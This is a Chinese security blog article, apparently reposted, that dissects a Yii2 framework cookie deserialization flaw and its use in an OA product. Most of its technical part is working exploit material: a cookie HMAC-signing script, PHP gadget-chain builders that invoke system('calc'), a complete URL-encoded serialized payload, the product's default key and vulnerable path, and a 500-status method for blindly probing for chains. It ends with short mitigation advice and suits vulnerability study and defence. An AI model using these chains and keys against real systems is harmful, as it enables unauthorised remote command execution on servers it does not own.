从某达OA到Yii2框架的cookie反序列化漏洞研究

2024年3月14日13:25:11评论14 views字数 10199阅读33分59秒阅读模式

序言

近期网上流传的某达OA存在PHP反序列化漏洞，导致命令执行。因为该漏洞底层是Yii2框架的漏洞，所以搭建好了Yii2框架环境，在Yii2框架的环境下来进行模拟研究，希望能达到举一反三和类比分析学习的目的。该cookie处反序列化漏洞属于通用型漏洞，如果使用了Yii2框架进行应用开发，若泄露了config/web.php中的cookieValidationKey值、且符合特定Yii2漏洞版本以及PHP版本小于7，那么可能存在此反序列化漏洞，从而导致恶意代码执行。笔者能力有限，如有理解不当之处，希望大师傅们批评指正！

一、反序列化的入口与条件

1.hash验证数据

我们在cookie处提交的参数，被送到了这个validateData方法处，在这里$data的内容会被拆分。在期间其经历了一次hash值校验。我们只要用它提供的加密算法和密钥进行加密，生成数据，就能通过所有的校验，然后进入我们期望的`return $pureData;`环节。

从某达OA到Yii2框架的cookie反序列化漏洞研究

源代码如下：

public function validateData($data, $key, $rawHash = false)
    {
        $test = @hash_hmac($this->macHash, '', '', $rawHash);
        if (!$test) {
            throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
        }
        $hashLength = StringHelper::byteLength($test);
        if (StringHelper::byteLength($data) >= $hashLength) {
            $hash = StringHelper::byteSubstr($data, 0, $hashLength);
            $pureData = StringHelper::byteSubstr($data, $hashLength, null);

$calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);

if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}

return false;
}

2.php版本限制

上面的validateData方法，返回结果后，就回到了loadCookies方法。这里存在一个反序列化入口，就是下图else分支的内容，我们上一方法得到的反序列化数据会进入我们的反序列化入口（注意，allowed_classes 被设置为 false，则在反序列化过程中不会创建对象，只会还原基本数据类型，例如字符串、整数、数组等）。所以我们可以发现，在Yii2框架默认的环境下要进行这个反序列化操作，对php的版本是有所限制的，如下图，可以发现我们的版本中PHP_VERSION_ID 要小于70000才能到达我们期望的反序列化入口。

从某达OA到Yii2框架的cookie反序列化漏洞研究

源代码如下：

protected function loadCookies()
    {
        $cookies = [];
        if ($this->enableCookieValidation) {
            if ($this->cookieValidationKey == '') {
                throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
            }
            foreach ($_COOKIE as $name => $value) {
                if (!is_string($value)) {
                    continue;
                }
                $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                if ($data === false) {
                    continue;
                }
                if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
                    $data = @unserialize($data, ['allowed_classes' => false]);
                } else {
                    $data = @unserialize($data);
                }
                ......
            }
        } else {
            ......
        }

return $cookies;
}

下面我们先直接展示漏洞利用结果。我们可以从调用栈看到已经在进行我们的反序列化过程了。最终弹出计算机验证确实存在此漏洞。

从某达OA到Yii2框架的cookie反序列化漏洞研究

run方法如下：

public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
}

二、config/web.php中的cookieValidationKey值

入口我们观察到了，在validateData方法里我们对需要对自己的反序列数据要进行一次hash计算，然后将hash值拼接到我们url编码后的反序列化数据前，然后附在cookie中发送。这里计算hash就需要用到我们的cookieValidationKey值，我们需要在config/web.php中搜索cookieValidationKey值。

例如下图中的"demo2"：

从某达OA到Yii2框架的cookie反序列化漏洞研究

我们掌握了加密密钥与加密方法，也就可以编写自己想要用的反序列化数据。如下是简单编写的cookie加密程序：

<?php
//$_GET 来获取通过 GET 请求传递的参数时，PHP 会自动对这些参数进行一次 URL 解码；
$data=$_GET['data'];

$key = "demo2";
$macHash = "sha256";
$rawHash=false;

$hmac = hash_hmac($macHash, $data, $key, $rawHash);

//使用php自身的hash_hmac方法计算数据在sha256算法下的hash值；
echo "-----------------payload---------------";
$encodedata=urlencode($data);
echo '<br/>';

echo $hmac.$encodedata;

效果如下:

从某达OA到Yii2框架的cookie反序列化漏洞研究

三、将反序列化数据从cookie中提取出来

从前面反序列化的入口与条件看过来，我们这里进行更为细致的研究，看看我们的反序列化数据是如何被提取出来的。下面的$test值可以被视作测试数据，没有什么输入，目的其实在于输出适用了macHash算法后加密数据的长度。这个长度被用作分割我们cookie里的提交的数据。

从某达OA到Yii2框架的cookie反序列化漏洞研究

我们提交的是两部分，反序列化数据和在它前面的hash_hmac方法加密的hash值。由测试数据计算出的hash长度为64，那么后面会将cookie提交的数据中的前64个字符赋值给$hash，然后将剩余的赋值给$pureData。（我需要注意，这里获取的$data数据会被默认urldecode解码一次。）

从某达OA到Yii2框架的cookie反序列化漏洞研究

最终对比提交的hash值与计算出的$pureData的hash值是否一致，一致则会进入我们期望的步骤。

四、关于某些链条需要PHPSESSID

案例说明，有些反序列化数据需要我们添加PHPSESSID，例如下面这条利用链：

yiidbBatchQueryResult->yiiwebDbSession->yiirestCreatAction

其反序列化过程会触发对PHPSESSID状态的校验，含有PHPSESSID才能成功命令执行。先看一组对比图，第一个图添加了PHPSESSID，则进入了 composeFields方法；反之第二个图直接跳到结尾了，那么自然出现我们预期外的结果。如下两幅对比图：

从某达OA到Yii2框架的cookie反序列化漏洞研究

这个什么原因我们看看getIsActive方法:

public function getIsActive()
    {
        $value=session_status();
        //$value=2; PHP_SESSION_ACTIVE值为2
        return $value === PHP_SESSION_ACTIVE;
    }

define('PHP_SESSION_ACTIVE', 2);

如果没有Cookie中添加PHPSESSID，那么我们看看图：

从某达OA到Yii2框架的cookie反序列化漏洞研究

所以会返回false，我们无法进入条件为true的语句内。

总之，反序列化链中所有会调用到getIsActive方法的链条，我们都需要添加PHPSESSID。

五、通过500状态来判断链条存在可能

500状态，属于判断链条存在的一个必要条件。其会代表我们的反序列化数据所使用的类是可以调用到的，我们通过500状态，可以去判断目标可能存在某条利用链。我们可以从反序列化起点进行测试。（注意：通过500状态码来盲打，可以应对使用了不同漏洞组件的应用程序，可以辅助我们开发POC检测工具。所以前提是需要测试目标为存在漏洞的Yii2框架版本。）

判断过程如下面案例展示：

<?php

namespace yiidb {
//use yiiwebDbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = "new DbSession()";
}
}
}

namespace {
use yiidbBatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));
}
?>

从某达OA到Yii2框架的cookie反序列化漏洞研究

返回500，则我们可以继续测试：

<?php

namespace yiiweb {
//use yiirestCreateAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback="[(new CreateAction),"run"]";
$this->fields['1'] = 'aaa';
}

}
}

namespace yiidb {
use yiiwebDbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}

namespace {
use yiidbBatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));

}
?>

从某达OA到Yii2框架的cookie反序列化漏洞研究

又为500，我们继续进行payload测试，进行到下面的测试我们已经测试出一条链了。

<?php

namespace yiirest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess="system";
$this->id="calc";
}
}
}

namespace yiiweb {
use yiirestCreateAction;
class DbSession {
protected $fields = [];
public $writeCallback;
public function __construct() {
$this->writeCallback=[(new CreateAction),"run"];
$this->fields['1'] = 'aaa';
}

}
}

namespace yiidb {
use yiiwebDbSession;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new DbSession();
}
}
}

namespace {
use yiidbBatchQueryResult;
$a=new BatchQueryResult();
echo urlencode(serialize($a));

}
?>

从某达OA到Yii2框架的cookie反序列化漏洞研究

这个思路可以用来生成我们的payload探测工具，可以来查找可以被利用的反序列化链条。

六、对某达oa的反序列化漏洞进行观察

某达oa由于/general/appbuilder/web/portal/gateway/?这一条路径会使用上面介绍Yii2的cookie处理方法，所以就存在Yii2的那个反序列化入口，在获取到某达oa的config/web.php中的cookieValidationKey值后，我们就可以构造我们的payload进行攻击。在公开的POC中，可以观察到使用了某达oa自身的一个tdAuthcode加解密函数来加密payload，从而可以绕过一些防御检测。

某达oa默认密钥"tdide2"，使用了该密钥来加密利用链。我们在cookie中提交反序化数据，利用上面说的500状态来判断，可以判断这条链是存在的。不过system函数应该是被禁用了，需要使用网上公开的POC进行检测。

从某达OA到Yii2框架的cookie反序列化漏洞研究

下面是测试出的一条链条：

<?php

namespace yiirest {
class CreateAction {
public $checkAccess;
public $id;
public function __construct() {
$this->checkAccess= "system";
$this->id = "calc";

}
}
}

namespace yiibase{
use yiirestCreateAction;
class Component{
private $_behaviors;
private $_events;
public function __construct(){
$this->_behaviors = 1;
$this->_events =array("afterOpen"=>array(array([(new CreateAction),"run"])));
}
}
}

namespace yiiredis {
use yiibaseComponent;
class Connection extends Component{
public $hostname;
public $port;
public $redisCommands;
public $password;
public $database;

public $_socket;
public function __construct() {

$this->hostname = "127.0.0.1";
$this->port = 135;
$this->redisCommands = ["CLOSE CURSOR"];

$this->_socket = false;
parent::__construct($_events);
parent::__construct($_behaviors);
}

}
}

namespace yiidb {
use yiiredisConnection;
class DataReader {
private $_statement;

public function __construct() {
$this->_statement = new Connection();
}
}
}
namespace yiidb {
use yiidbDataReader;

class BatchQueryResult {
public $db;
public $query;

public $each;
private $_dataReader;

public function __construct() {

$this->_dataReader = new DataReader();

}
}
}

namespace {
use yiidbBatchQueryResult;
$a=new BatchQueryResult();

echo urlencode(serialize($a));

}
?>

序列化代码如下：

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A4%3A%7Bs%3A2%3A%22db%22%3BN%3Bs%3A5%3A%22query%22%3BN%3Bs%3A4%3A%22each%22%3BN%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A135%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A7%3A%22_socket%22%3Bb%3A0%3Bs%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A4%3A%22calc%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D%7D

O:23:"yiidbBatchQueryResult":4:{s:2:"db";N;s:5:"query";N;s:4:"each";N;s:36:"yiidbBatchQueryResult_dataReader";O:17:"yiidbDataReader":1:{s:29:"yiidbDataReader_statement";O:20:"yiiredisConnection":8:{s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:135;s:13:"redisCommands";a:1:{i:0;s:12:"CLOSE CURSOR";}s:8:"password";N;s:8:"database";N;s:7:"_socket";b:0;s:30:"yiibaseComponent_behaviors";i:1;s:27:"yiibaseComponent_events";a:1:{s:9:"afterOpen";a:1:{i:0;a:1:{i:0;a:2:{i:0;O:21:"yiirestCreateAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:4:"calc";}i:1;s:3:"run";}}}}}}}

接下来，讨论一下，`$this->redisCommands = ["CLOSE CURSOR"]; `。

因为如果我们使用yiiredisConnection类来进行中转，那么$this->redisCommands这个参数就很关键，研究这个参数我们可以帮助我们找到其他的利用链条，所以在这里来说明一下["CLOSE CURSOR"]。我们观察下面，当调用栈到达yiidbDataReader->close()的时候，会调用到yiiredisConnection类的closeCursor方法。

从某达OA到Yii2框架的cookie反序列化漏洞研究

由于yiiredisConnection类不存在closeCursor方法但存在__call魔术方法，可以观察到如下传值，closeCursor被赋值给$name。

从某达OA到Yii2框架的cookie反序列化漏洞研究

camel2words方法：

public static function camel2words($name, $ucwords = true)
    {
        $label = mb_strtolower(trim(str_replace([
            '-',
            '_',
            '.',
        ], ' ', preg_replace('/(?<!p{Lu})(p{Lu})|(p{Lu})(?=p{Ll})/u', ' �', $name))), self::encoding());

return $ucwords ? StringHelper::mb_ucwords($label, self::encoding()) : $label;
}

直接让ChatGPT分析一下：

这段代码是一个PHP函数，用于将驼峰式命名的字符串转换为人类可读的单词组合，并可以选择是否将结果的首字母大写。下面是对代码的详细分析：

函数名称：camel2words

这个函数的名称表明它的作用是将驼峰式命名转换为单词组合。

参数：

$name：要转换的驼峰式命名的字符串。

$ucwords：一个布尔值，指示是否将结果的首字母大写（默认为 true）。

函数体：

代码的第一行定义了一个变量 $label，用于存储转换后的字符串。

mb_strtolower 函数用于将字符串转换为小写。trim 函数用于去除字符串两端的空格。

str_replace 函数用于将字符串中的一些特定字符（如短横线、下划线、点）替换为空格，以便将它们分隔开。

preg_replace 函数使用正则表达式来处理驼峰命名。它通过正则表达式将大写字母分隔开，并在它们前面添加空格，以便后续处理。

接下来的行对 $name 进行了多步的字符串处理，最终生成了一个用空格分隔的单词组合。

返回值：

如果 $ucwords 参数为 true，则调用 StringHelper::mb_ucwords 函数将转换后的单词组合中的每个单词的首字母都转换为大写，并返回结果。

如果 $ucwords 参数为 false，则直接返回转换后的小写单词组合。

总之，这个函数的作用是将驼峰式的字符串转换为人类可读的单词组合，方便展示给用户。同时，可以选择是否将结果的首字母大写，以适应不同的格式要求。注意，为了处理多字节字符，函数使用了 mb_strtolower 和 StringHelper::mb_ucwords 函数。

所以从上面的代码演示，我们可以看到，如果想使用一条其他的利用链，我们需要寻找到一条包含形如`$this->_statement->closeCursor();`语句的类。由于会调用camel2words方法来处理yiiredisConnection类的__call方法的$name参数，所以我们需要根据自己找到的$name参数，来定制$this->redisCommands的值，来进入我们期望的方法。（closeCursor——处理方法——> ["CLOSE CURSOR"]）

从某达OA到Yii2框架的cookie反序列化漏洞研究

如果自己设置的$name参数能够成功通过条件语句，进入到executeCommand方法，后续会按照我们期望的方法顺利地进行代码执行。

从某达OA到Yii2框架的cookie反序列化漏洞研究

七、我们如何预防呢？

这个漏洞，是需要知道config/web.php中的cookieValidationKey值的，这个值会被用于加密反序列化数据，所以我们要预防，就得保护好我们的cookieValidationKey值，避免信息泄露、默认值等这些情况导致cookieValidationKey值被获取。
Yii2框架默认中要想进入反序列化利用点是需要 PHP_VERSION_ID< 70000的，所以我们可以保证我们的系统php版本是较高的版本（大于7）。
确保Yii2框架历史漏洞补丁被打上。

参考资料

很感谢下面大师傅们的文章，为笔者的分析学习过程解惑！

https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw

https://www.anquanke.com/post/id/254429

原文地址: https://www.freebuf.com/vuls/378878.html

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

从某达OA到Yii2框架的cookie反序列化漏洞研究

原文始发于微信公众号（白帽子左一）：从某达OA到Yii2框架的cookie反序列化漏洞研究

左青龙
微信扫一扫

右白虎
微信扫一扫

从某达OA到Yii2框架的cookie反序列化漏洞研究

序言

一、反序列化的入口与条件

1.hash验证数据

2.php版本限制

二、config/web.php中的cookieValidationKey值

三、将反序列化数据从cookie中提取出来

四、关于某些链条需要PHPSESSID

五、通过500状态来判断链条存在可能

六、对某达oa的反序列化漏洞进行观察

七、我们如何预防呢？

参考资料

ebpf在Android安全上的应用：结合binder完成一个行为检测沙箱(下篇)

浅谈Kubernetes安全

若依系统恰分攻略

HW必备技能教学之Windows应急响应常见流程【附应急工具】

技术实践｜大模型内容安全蓝军的道与术

Weblogic SSRF漏洞（CVE-2014-4210）

Weblogic 反序列化漏洞（CVE-2017-3506/CVE-2017-10271）

HACKADEMIC: RTB1靶场-复现

卡巴斯基引擎另类免杀玩法

任意文件读取rce记录

发表评论

在线咨询

微信